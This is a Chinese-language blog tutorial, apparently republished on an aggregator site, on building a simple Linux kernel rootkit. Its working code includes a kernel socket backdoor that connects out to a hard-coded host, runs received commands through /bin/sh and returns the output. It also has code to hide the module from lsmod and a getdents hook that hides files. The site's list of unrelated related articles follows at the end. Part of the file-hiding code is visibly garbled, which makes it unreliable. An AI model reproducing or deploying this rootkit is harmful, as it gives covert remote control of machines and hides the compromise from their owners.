编写一个简单的linux kernel rootkit

一、前言

linux kernel rootkit跟普通的应用层rootkit个人感觉不大,个人感觉区别在于一个运行在用户空间中,一个运行在内核空间中;另一个则是编写时调用的API跟应用层rootkit不同

一个最简单的linux kernel rootkit就是一个linux kernel module

PS:如有错误,请斧正

二、环境

内核版本:5.4.0-120
攻击机:kal
靶机和编译机:ubuntu18 64位

三、linux kernel module

PS: linux kernel module编写网上资料很多,这里不在过多叙述

1、一个linux kernel module必备的函数为 module_initmodule_exit ,前者为linux kernel module加载时调用的函数,后者为linux kernel module卸载时调用的函数,如下所示:

module_init(rootkit_init);
module_exit(rootkit_exit);

2、当然,也有其他 module 开头的函数,例如 ODULE_AUTHOR 声明作者等函数,但这些都是可选的

3、linux kernel module打印函数也跟用户态的 printf 函数不同,为 printk 函数,当然,也不会打印在终端中,通过 printk 打印的信息可通过 dmesg 命令查看

4、一个最简单的linux kernel module如下所示,其中 module_init 声明了模块加载时的函数 example_initmodule_exit 声明了模块卸载时调用的函数函数 example_exit ,这个最简单的linux kernel module实现的功能就是在加载时和卸载时打印字符串

#include
#include
#include

MODULE_LICENSE("GPL");
MODULE_AUTHOR("windy_ll");
MODULE_DESCRIPTION("Basic Kernel Module");
MODULE_VERSION("0.01");

static int __init example_init(void)
{
    printk(KERN_INFO "Hello, world!\n");
    return 0;
}

static void __exit example_exit(void)
{
    printk(KERN_INFO "Goodbye, world!\n");
}

module_init(example_init);
module_exit(example_exit);

5、linux kernel module可通过 make modules 命令编译,例如本篇编译的 Makefile 文件如下所示:

obj-m += rootkit.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

5、linux kernel module使用命令 insmod 加载,使用 rmmod 命令卸载,可以使用 lsmod 命令查看所有已经加载的linux kernel module。上面的linux kernel module运行结果如下图所示:

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

四、hook系统调用表

1、系统调用表(System call Table),是一张由指向实现各种系统调用的内核函数的函数指针组成的表,该表可以基于系统调用编号进行索引,来定位函数地址,完成系统调用(PS: 来自百度百科),系统调用表详细列表如下链接所示:

https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl

2、系统调用表的hook一般可以通过以下几种方式来实现:

  • 找到系统调用表位置,修改系统调用表中的函数地址
  • 找到系统调用表位置,修改系统调用表函数前几个字节做一个jmp,就是inlinehook,当然可以在汇编上直接替换掉系统调用表的函数二进制指令
  • 利用别人写好的框架,例如ftrace(PS:本文为了方便,即利用此方式) 3、获取系统调用表地址一般也可以通过以下几种方式来实现
  • 通过调用函数kallsyms_lookup_name获取(ps:高版本已经被禁用该函数)
  • 扫描内存,匹配特征码来找到系统调用表的地址
  • 读取/proc/kallsym文件来获取
  • 其他方法,不在过多介绍 *4、linux kernel rootkit中的某些功能需要通过hook系统调用表的函数来实现,例如监控命令的执行等

五、linux kernel多线程

1、linux kernel中的多线程可使用宏定义 kthread_run 来创建一个内核线程,第一个参数为线程要执行的函数名,使用 kthread_stop 来停止

2、一个简单的多线程示例如下所示:(PS: 这里不用导入那么多头文件,之所以使用这么多头文件,是使用了其他API)

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

static struct task_struct *test_kthread = NULL;

static int kthread_test_func(void *data)
{
    return 0;
}

static __init int kthread_test_init(void)
{
    test_kthread = kthread_run(kthread_test_func, NULL, "kthread-test");
    if (!test_kthread) {
        return -ECHILD;
    }

    return 0;
}

static __exit void kthread_test_exit(void)
{
}

module_init(kthread_test_init);
module_exit(kthread_test_exit);

六、linux kernel socket

1、linux内核中的通信和用户层面的步骤差不多,都是先创建socket、连接或监听socket、调用函数收发信息、关闭连接

2、不同点在于调用的API不同,linux内核中调用的是 sock_create_kern 函数来创建socket,调用 sock->ops->connect 来连接服务端(PS:这里的sock是前面创建的socket连接符),调用 kernel_sendmsg 来发送信息,调用 kernel_recvmsg 来接收信息,调用 kernel_sock_shutdown 函数来关闭连接,调用 sock_release 函数来释放socket连接符,按照用户层的socket的流程来调用即可

3、上面的api不是唯一的,linux源码中还提供了其他的函数来实现socket连接,感兴趣的可以去查阅相关的linux源码

4、上面只写了socket客户端,不写socket服务端的原因是作者测试了好几套api在5.4的内核版本中,都运行到某个阶段内核就挂了,知道原因的大佬可以指出是什么原因

5、测试用例如下所示:

static int myserver(void *data){

        struct socket *sock,*client_sock;
        struct sockaddr_in s_addr;
        unsigned short portnum=8888;
        int ret=0;
        char recvbuf[1024];
    char sendbuf[4096];
    char *result;
        struct msghdr recvmsg,sendmsg;
    struct kvec send_vec,recv_vec;

    //sendbuf = kmalloc(1024,GFP_KERNEL);
    if(sendbuf == NULL) {
        printk(KERN_INFO "[SockTest]: sendbuf kmalloc failed!\n");
        return -1;
    }

    //recvbuf = kmalloc(1024,GFP_KERNEL);
    if(recvbuf == NULL) {
        printk(KERN_INFO "[SockTest]: recvbuf kmalloc failed!\n");
        return -1;
    }

        memset(&s_addr,0,sizeof(s_addr));
        s_addr.sin_family=AF_INET;
        s_addr.sin_port=htons(portnum);
        s_addr.sin_addr.s_addr=in_aton("10.10.10.195");

        sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL);
        client_sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL);

        /*create a socket*/
        ret=sock_create_kern(&init_net,AF_INET, SOCK_STREAM,0,&sock);
        if(ret < 0){
                printk("[SockTest]:socket_create_kern error!\n");
        return -1;
        }
        printk("[SockTest]:socket_create_kern ok!\n");

        /*connect the socket*/
        ret=sock->ops->connect(sock,(struct sockaddr *)&s_addr,sizeof(s_addr),0);
    printk(KERN_INFO "[SockTest]: connect ret = %d\n",ret);
    /*
        if(ret != 0){
                printk("[SockTest]: connect error\n");
                return ret;
        }
    */
        printk("[SockTest]:connect ok!\n");

    memset(sendbuf,0,1024);

    strcpy(sendbuf,"test");

    memset(&sendmsg,0,sizeof(sendmsg));
    memset(&send_vec,0,sizeof(send_vec));

    send_vec.iov_base = sendbuf;
    send_vec.iov_len = 4096;

        /*send*/
    ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,4);
    printk(KERN_INFO "[SockTest]: kernel_sendmsg ret = %d\n",ret);
    if(ret < 0) {
        printk(KERN_INFO "[SockTest]: kernel_sendmsg failed!\n");
        return ret;
    }
    printk(KERN_INFO "[SockTest]: send ok!\n");
    memset(&recv_vec,0,sizeof(recv_vec));
    memset(&recvmsg,0,sizeof(recvmsg));

    recv_vec.iov_base = recvbuf;
    recv_vec.iov_len = 1024;

        /*kmalloc a receive buffer*/
    while(true) {
        memset(recvbuf, 0, 1024);

        ret = kernel_recvmsg(sock,&recvmsg,&recv_vec,1,1024,0);
        printk(KERN_INFO "[SockTest]: received message: %s\n",recvbuf);
        if(!strcmp("exit",recvbuf)) {
            break;
        }
        printk(KERN_INFO "[SockTest]: %ld\n",strlen(recvbuf));
        result = execcmd(recvbuf);
        memset(sendbuf,0,4096);
        strncpy(sendbuf,result,4096);
        ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,strlen(sendbuf));
    }

    kernel_sock_shutdown(sock,SHUT_RDWR);
    sock_release(sock);
    printk(KERN_INFO "[SockTest]: socket exit\n");

    return 0;
}

七、linux kernel命令执行

1、对于一个rootkit来说,最核心的功能点肯定在于能够执行命令

2、在linux内核中,有以下几种方式可以用来执行命令:

  • hook系统调用表,劫持命令执行函数sys_execve
  • 调用call_usermodehelper函数直接执行命令 3、这里使用的是第二种方式来执行命令,第一种只做到了无参数命令执行,对于有参数的解析其参数时按照指针数组解析出来的不知道为啥一直是乱码,知道原因的大佬可以指教以下 *4、无论是什么方式,都无法将命令回显结果直接写入内存直接读取,所以这里采用的是将命令结果利用 > 写入某个文件中,然后调用 vfs_read 函数读取文件获取命令回显,如下所示:
static char* execcmd(char cmd[1024])
{
        int result;
    struct file *fp;
    mm_segment_t fs;
    loff_t pos;
    static char buf[4096];
    char add[] = " > /tmp/result.txt";
        char cmd_path[] = "bin/sh";
    strcat(cmd,add);
        char *cmd_argv[] = {cmd_path,"-c",cmd,NULL};
        char *cmd_envp[] = {"HOME=/","PATH=/sbin:/bin:/user/bin",NULL};
        result = call_usermodehelper(cmd_path,cmd_argv,cmd_envp,UMH_WAIT_PROC);
        printk(KERN_INFO "[TestKthread]: call_usermodehelper() result is %d\n",result);
    fp = filp_open("/tmp/result.txt",O_RDWR | O_CREAT,0644);
    if(IS_ERR(fp)) {
        printk(KERN_INFO "open file failed!\n");
        return 0;
    }
    memset(buf,0,sizeof(buf));
    fs = get_fs();
    set_fs(KERNEL_DS);
    pos = 0;
    vfs_read(fp,buf,sizeof(buf),&pos);
    printk(KERN_INFO "shell result %ld:\n",strlen(buf));
    printk("%s\n",buf);
    filp_close(fp,NULL);
    set_fs(fs);
    return buf;
}

八、隐藏内核模块自身

1、对于linux kernel rootkit,很重要的一点就是隐藏自己的存在,不然受害者一个 lsmod 就发现了

2、通过 lsmod 读出来的已经加载的内核模块在内存中的表现形式为一个链表,我们可以通过添加、删除这个链表中的节点来实现对内核模块的显示和隐藏

3、我们可以通过 THIS_MODULE 这个变量来访问上述的连接,幸运的是,官方提供了API 来添加和删除节点,分别为 list_dellist_add 函数

4、实现该功能源码如下所示:

void hideme(void)
{
    prev_module = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);
}

void showme(void)
{
    list_add(&THIS_MODULE->list,prev_module);
}

九、隐藏文件

1、由于前面的命令执行功能获取命令回显结果产生了一些文件,所以我们还要隐藏这些产生从文件来避免我们的rootkit被发现

2、我们可以通过hook sys_getdents 系统调用来实现,该系统调用有三个参数,其中第二个参数为一个指针,该指针所存储的即为一个目录的文件和目录信息,在内存中的数据结构为一个链表,通过遍历这个链表然后删除相应的节点即可达到隐藏文件的目的

3、该链表的数据结构如下所示,其中, d_name 为文件或目录的名称, d_reclen 为长度,通过这两个数据,我们即可实现隐藏文件和目录的功能

struct linux_dirent {
        unsigned long d_ino;
        unsigned long d_off;
        unsigned short d_reclen;
        char d_name[];
        };

4、该功能实现示例如下所示:

asmlinkage int hook_getdents(const struct pt_regs *regs)
{
    struct linux_dirent {
        unsigned long d_ino;
        unsigned long d_off;
        unsigned short d_reclen;
        char d_name[];
    };
    struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si;
    struct linux_dirent *current_dir,*previous_dir,*dirent_ker = NULL;
    unsigned long offset = 0;
    long error;

    int ret = orig_getdents(regs);
    dirent_ker = kzalloc(ret, GFP_KERNEL);

    if ((ret d_name) == 1)
        {
            if(debug_mode == 1)
            {
                printk(KERN_DEBUG "rootkit: Found %s\n", current_dir->d_name);
            }
            if(current_dir == dirent_ker)
            {
                ret -= current_dir->d_reclen;
                memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
                continue;
            }
            previous_dir->d_reclen += current_dir->d_reclen;
        }
        else
        {
            previous_dir = current_dir;
        }
        offset += current_dir->d_reclen;
    }

    error = copy_to_user(dirent, dirent_ker, ret);
    if(error)
    {
        printk(KERN_DEBUG "error 3\n");
        goto done;
    }

done:
    kfree(dirent_ker);
    return ret;
}

十、ftrace使用方法

1、导入头文件 ftrace_helper.h

2、定义一个 ftrace_hook hooks 结构体数组,如下所示:

static struct ftrace_hook hooks[] = {
    HOOK("sys_mkdir",hook_mkdir,&orig_mkdir),
};

调用 fh_install_hooks 函数挂钩,调用 fh_remove_hooks 函数解挂即可

十一、其他

1、在 linux kernel 4.17 之后,系统调用函数的参数全部存储在 pt_reg 结构体中,要实际访问到其参数,需要去读取该结构体

2、由于rootkit运行在内核空间中,要访问用户空间的数据,需要使用 strncpy_from_user 等函数将用户空间的变量拷贝到内核空间中

3、要申请内核空间,不能使用 malloc ,而是要使用 kmalloc 等函数来申请

十二、linux kernel rootkit使用截图

1、命令执行

编写一个简单的linux kernel rootkit

2、隐藏内核模块

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

3、隐藏文件

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

十三、github以及参考连接

1、github链接:

https://github.com/windy-purple/linux_kernel_rootkit

2、参考链接:

https://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/

https://memset.wordpress.com/2011/03/18/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x-2/

https://stackoverflow.com/questions/39502198/finding-the-sys-call-table-in-memory-64-bit-on-4-x-x-kernel

https://xcellerator.github.io/posts/linux_rootkits_01/

https://syscalls64.paolostivanin.com/

https://github.com/vkobel/linux-syscall-hook-rootkit

https://blog.csdn.net/yeshennet/article/details/82315604

https://www.anquanke.com/post/id/241090

https://www.codeleading.com/article/24384639787/

https://www.cnblogs.com/embedded-linux/p/7439984.html

https://stackoverflow.com/questions/58821458/error-passing-argument-1-of-kthread-create-on-node-from-incompatible-pointer

https://blog.csdn.net/qq_30624591/article/details/109685620

https://github.com/abysamross/simple-linux-kernel-tcp-client-server

https://github.com/croemheld/lkm-rootkit

https://gist.github.com/llj098/752417

https://blog.csdn.net/miaohongyu1/article/details/16986053

https://www.ichenfu.com/2017/01/16/kernel-sock-client-example/

https://blog.csdn.net/whshiyun/article/details/82013181

https://developer.aliyun.com/article/459022

https://blog.csdn.net/whatday/article/details/98448435

Original: https://www.cnblogs.com/aWxvdmVseXc0/p/16560341.html
Author: windy_ll
Title: 编写一个简单的linux kernel rootkit

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/585598/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • [ Linux ] 设置开机自动登录

    https://www.cnblogs.com/yeungchie/ 查看桌面环境 file -L /etc/systemd/system/display-manager.serv…

    Linux 2023年6月7日
    0105
  • 【Leetcode】120. 三角形最小路径和

    给定一个三角形 triangle ,找出自顶向下的最小路径和。 每一步只能移动到下一行中相邻的结点上。 &#x76F8;&#x90BB;&#x7684;&a…

    Linux 2023年6月6日
    0107
  • 每周一个linux命令(tree)

    安装tree命令 yum install tree -y 显示当前目录下的一级目录结构 tree -L 1 目录信息说明 bin: 系统常用命令所在目录 boot: 系统启动相关的…

    Linux 2023年6月8日
    0100
  • bzoj 1191 特别行动队

    一道不错的斜率优化入门题,传送门:bzoj 1911 题目描述稍微有点不太清楚,先解释一下 将n个士兵分成几个连续的组,每一组的战斗力为f(y),其中:f(x)=ax2+bx+c(…

    Linux 2023年6月6日
    0107
  • 消费税

    1994年税制改革时,我国才设置了独立的消费税,与实行普遍征收的增值税配套,对特定消费品进行特殊调节。 消费税的特点: (一)征税范围具有选择性 有选择地确定若干个征税项目,在税法…

    Linux 2023年6月14日
    0111
  • 3. 文件与I/O

    文件与I/OO read&#x7CFB;&#x7EDF;&#x8C03;&#x7528; 函数原型 一旦有了与一个打开文件描述相连的文件描述符,只要…

    Linux 2023年6月6日
    0110
  • redis 学习指南

    2、 redis.windows.conf各项配置参数介绍 默认情况下,redis不是在后台模式运行的,如果需要在后台进程运行,把该项的值更改为yes,默认为no daemoniz…

    Linux 2023年5月28日
    088
  • Spring Session Redis

    http://www.infoq.com/cn/articles/Next-Generation-Session-Management-with-Spring-Session Or…

    Linux 2023年5月28日
    095
  • python 练习题:请利用Python内置的hex()函数把一个整数转换成十六进制表示的字符串

    python;gutter:true;-*- coding: utf-8 -*-请利用Python内置的hex()函数把一个整数转换成十六进制表示的字符串n1 = 255n2 = …

    Linux 2023年6月8日
    091
  • 微信开发之微信分享 + php

    html DOCTYPE html> <html> <head> <meta http-equiv="content-type&quo…

    Linux 2023年6月7日
    0104
  • 003Linux查看文件内容的5个命令姿势

    Linux 中查看文件内容常用的有如下 5 个命令: cat cat 命令常用格式示例: cat [文件名] # 输出文件所有内容到屏幕上。 cat [文件1] [文件2] # 输…

    Linux 2023年5月27日
    095
  • 总结

    门诊:11张 张张是主表,主表之王是患者信息住院:12张 张张由入院登记开始,外挂处方点评一张电子病历:12张 病历概要打头来,紧接门(急)病历,急诊留观放尾中,住院病历放最后检验…

    Linux 2023年6月13日
    0107
  • VMware ESXi 7.0 U2 SLIC 2.6 & Unlocker 集成 Intel NUC 网卡、USB 网卡和 NVMe 驱动

    404. 抱歉,您访问的资源不存在。 可能是URL不正确,或者对应的内容已经被删除,或者处于隐私状态。 [En] It may be that the URL is incorre…

    Linux 2023年5月27日
    099
  • 位运算(一)

    位运算的一般应用 功能 例子 运算 去掉最后一位 1110101->111010 x>>1 在最后加0 1110101->11101010 x< 通过…

    Linux 2023年6月8日
    0140
  • nginx配置只允许域名访问,禁止ip访问80,443端口

    一、背景客户扫描阿里云服务器,发现渗透漏洞(.git文件泄露漏洞),可以直接使用IP访问项目底下的某个文件,针对这个问题,需要对nginx进行配置,不使用IP访问项目,而只能使用域…

    Linux 2023年6月14日
    090
  • DotNet发布程序到NuGet

    1、新建一个类库 2、选择项目属性,在包栏目下填写 3、选择项目,鼠标右键”打包” 主要注意的是生成配置需改为 Release 4、然后就可以在我们项目 b…

    Linux 2023年6月13日
    098
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球